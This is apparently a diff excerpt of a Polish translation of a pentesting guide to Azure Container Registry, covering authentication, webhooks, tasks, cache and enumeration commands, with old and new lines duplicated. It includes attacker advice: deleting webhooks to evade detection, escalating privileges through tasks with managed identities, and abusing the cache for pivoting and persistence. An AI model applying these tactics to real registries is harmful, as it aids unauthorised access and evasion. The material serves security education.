- **With an admin account**: Admin user jest domyślnie wyłączony, ale można go włączyć, a wtedy będzie możliwy access do registry przy użyciu **username** i **password** konta admin z pełnymi permissions do registry. Nadal jest to wspierane, ponieważ używają tego niektóre usługi Azure. Zwróć uwagę, że dla tego użytkownika tworzone są **2 passwords** i oba są poprawne. Możesz to włączyć poleceniem `az acr update -n <acrName> --admin-enabled true`. Zwróć uwagę, że username to zwykle nazwa registry (a nie `admin`).
- **With a token**: Możliwe jest utworzenie **token** z określonym **scope map** (permissions) do access registry. Następnie można użyć nazwy token jako username i dowolnego z wygenerowanych passwords do authenticate do registry przy użyciu `docker login -u <registry-name> -p <password> <registry-url>`
- **With a Service Principal**: Możliwe jest utworzenie **service principal** i przypisanie roli takiej jak **`AcrPull`**, aby pull images. Wtedy będzie możliwy **login to the registry** przy użyciu appId SP jako username oraz wygenerowanego secret jako password.
- **Za pomocą Entra ID**: Jest to **domyślny** sposób uwierzytelniania w ACR. Wykorzystuje polecenie **`az acr login`** do uwierzytelnienia w ACR. To polecenie **zapisze dane uwierzytelniające** w pliku **`~/.docker/config.json`**. Ponadto, jeśli uruchamiasz to polecenie ze środowiska bez dostępu do socketu Docker, na przykład w **cloud shell**, można użyć flagi **`--expose-token`**, aby uzyskać **token** do uwierzytelnienia w ACR. Następnie, aby się uwierzytelnić, należy użyć jako nazwy użytkownika `00000000-0000-0000-0000-000000000000`, na przykład: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Za pomocą konta administratora**: Użytkownik administratora jest domyślnie wyłączony, ale można go włączyć. Następnie możliwy będzie dostęp do registry przy użyciu **nazwy użytkownika** i **hasła** konta administratora, które ma pełne uprawnienia do registry. Jest to nadal obsługiwane, ponieważ niektóre usługi Azure z niego korzystają. Należy pamiętać, że dla tego użytkownika tworzone są **2 hasła** i oba są prawidłowe. Można je włączyć za pomocą `az acr update -n <acrName> --admin-enabled true`. Należy pamiętać, że nazwa użytkownika to zwykle nazwa registry (a nie `admin`).
- **Za pomocą tokena**: Możliwe jest utworzenie **tokena** z określonym **`scope map`** (uprawnieniami) w celu uzyskania dostępu do registry. Następnie można użyć nazwy tokena jako nazwy użytkownika oraz dowolnego wygenerowanego hasła do uwierzytelnienia w registry za pomocą `docker login -u <registry-name> -p <password> <registry-url>`
- **Za pomocą Service Principal**: Możliwe jest utworzenie **service principal** i przypisanie mu roli takiej jak **`AcrPull`** w celu pobierania obrazów. Następnie możliwe będzie **logowanie do registry** przy użyciu appId SP jako nazwy użytkownika oraz wygenerowanego sekretu jako hasła.
Przykładowy skrypt z [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal), aby wygenerować SP z access do registry:
Przykładowy skrypt z [dokumentacji](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) do wygenerowania SP z dostępem do registry:
```bash
#!/bin/bash
ACR_NAME=$containerRegistry
@@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD"
```
### Szyfrowanie
Tylko **Premium SKU** obsługuje **encryption at rest** dla obrazów i innych artefaktów.
Tylko **Premium SKU** obsługuje **szyfrowanie danych w spoczynku** dla obrazów i innych artefaktów.
### Networking
### Sieci
Tylko **Premium SKU** obsługuje **private endpoints**. Pozostałe obsługują tylko **public access**. Public endpoint ma format `<registry-name>.azurecr.io`, a private endpoint ma format `<registry-name>.privatelink.azurecr.io`. Z tego powodu nazwa registry musi być unikalna w całym Azure.
Tylko **Premium SKU** obsługuje **prywatne punkty końcowe**. Pozostałe obsługują wyłącznie **publiczny dostęp**. Publiczny punkt końcowy ma format `<registry-name>.azurecr.io`, a prywatny punkt końcowy ma format `<registry-name>.privatelink.azurecr.io`. Z tego powodu nazwa rejestru musi być unikalna w całym Azure.
### Microsoft Defender for Cloud
To pozwala **scan the images** w registry pod kątem **vulnerabilities**.
Umożliwia **skanowanie obrazów** w rejestrze pod kątem **podatności**.
### Soft-delete
Funkcja **soft-delete** pozwala **odzyskać usunięty registry** w określonej liczbie dni. Ta funkcja jest **disabled by default**.
Funkcja **soft-delete** umożliwia **odzyskanie usuniętego rejestru** w ciągu wskazanej liczby dni. Ta funkcja jest **domyślnie wyłączona**.
### Webhooks
Możliwe jest **create webhooks** wewnątrz registry. W tym webhooku trzeba podać URL, na który **request będzie wysyłany za każdym razem, gdy zostanie wykonana akcja push lub delete**. Dodatkowo Webhooks mogą wskazywać scope, aby określić repositories (images), których to dotyczy. Na przykład, 'foo:\*' oznacza zdarzenia w obrębie repository 'foo'.
Możliwe jest **tworzenie Webhooks** wewnątrz rejestrów. W tym Webhooku należy określić adres URL, do którego **zostanie wysłane żądanie za każdym razem, gdy zostanie wykonana akcja push lub delete**. Ponadto Webhooks mogą określać zakres wskazujący repozytoria (obrazy), których będą dotyczyć. Na przykład `foo:\*` oznacza zdarzenia w repozytorium `foo`.
Z perspektywy attackers interesujące jest sprawdzenie tego **przed wykonaniem jakiejkolwiek akcji** w registry, a w razie potrzeby tymczasowe usunięcie tego, aby uniknąć wykrycia.
Z perspektywy atakującego interesujące jest sprawdzenie tego **przed wykonaniem jakiejkolwiek akcji** w rejestrze i tymczasowe usunięcie Webhooka, jeśli jest to konieczne, aby uniknąć wykrycia.
### Connected registries
### Połączone rejestry
To zasadniczo pozwala **mirror the images** z jednego registry do innego, zwykle znajdującego się on-premises.
Zasadniczo umożliwia to **mirrorowanie obrazów** z jednego rejestru do drugiego, zwykle znajdującego się lokalnie (on-premises).
Ma 2 tryby: **ReadOnly** i **ReadWrite**. W pierwszym obrazy są tylko **pulled** ze źródłowego registry, a w drugim obrazy mogą być także **pushed** do źródłowego registry.
Dostępne są 2 tryby: **ReadOnly** i **ReadWrite**. W pierwszym obrazy są tylko **pobierane** z rejestru źródłowego, a w drugim obrazy mogą być również **wysyłane** do rejestru źródłowego.
Aby clients mogli uzyskać dostęp do registry z Azure, generowany jest **token** przy użyciu connected registry.
Aby klienci mogli uzyskać dostęp do rejestru z Azure, podczas korzystania z połączonego rejestru generowany jest **token**.
### Runs & Tasks
Runs & Tasks pozwala wykonywać w Azure działania związane z container, które zazwyczaj trzeba było robić lokalnie albo w pipeline CI/CD. Na przykład możesz **build, push, and run images in the registry**.
Runs & Tasks umożliwia wykonywanie w Azure działań związanych z kontenerami, które zazwyczaj trzeba było wykonywać lokalnie lub w potoku CI/CD. Możesz na przykład **budować, wysyłać i uruchamiać obrazy w rejestrze**.
Najprostszy sposób na zbudowanie i uruchomienie container to użycie zwykłego Run:
Najłatwiejszym sposobem na zbudowanie i uruchomienie kontenera jest użycie zwykłego Run:
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
However, to uruchomi runs, które nie są super interesujące z perspektywy attacker, ponieważ nie mają do nich attached żadnej managed identity.
Jednak spowoduje to uruchomienie zadań, które z perspektywy atakującego nie są szczególnie interesujące, ponieważ nie jest do nich przypisana żadna managed identity.
However, **tasks** mogą mieć attached **system and user managed identity**. Te tasks są tymi, które są użyteczne do **escalate privileges** w kontenerze. W sekcji privileges escalation można zobaczyć, jak używać tasks do escalate privileges.
Jednak **tasks** mogą mieć przypisaną **system and user managed identity**. To właśnie te tasks są przydatne do **escalate privileges** w kontenerze. W sekcji dotyczącej privilege escalation można zobaczyć, jak używać tasks do eskalowania uprawnień.
### Cache
Funkcja cache pozwala **download images from an external repository** i store the new versions w registry. Wymaga to skonfigurowania pewnych **credentials** przez wybranie credentials z Azure Vault.
Funkcja cache umożliwia **download images from an external repository** i przechowywanie nowych wersji w registry. Wymaga to posiadania **credentials configured** poprzez wybranie poświadczeń z Azure Vault.
Jest to bardzo interesujące z perspektywy attacker, ponieważ pozwala na **pivot to an external platform** jeśli attacker ma wystarczające permissions, aby access credentials, **download images from an external repository** i configuring a cache could also be used as **persistence mechanism**.
Jest to bardzo interesujące z perspektywy atakującego, ponieważ umożliwia **pivot to an external platform**, jeśli atakujący ma wystarczające uprawnienia do uzyskania dostępu do poświadczeń. **Download images from an external repository** i skonfigurowanie cache może również służyć jako **persistence mechanism**.
## Enumeration
> [!WARNING]
> Bardzo ważne jest, aby nawet jeśli nazwa registry zawiera jakieś uppercase letters, do access it w url należy używać wyłącznie lowercase letters.
> Bardzo ważne jest, aby nawet jeśli nazwa registry zawiera wielkie litery, w adresie URL używanym do uzyskania dostępu stosować wyłącznie małe litery.
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -143,19 +143,23 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Nieautoryzowany dostęp
## Niezautoryzowany dostęp
{{#ref}}
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Privilege Escalation & Post Exploitation
## Eskalacja uprawnień i Post Exploitation
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## References
{{#ref}}
../az-post-exploitation/az-container-registry-post-exploitation.md
{{#endref}}
## Referencje
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)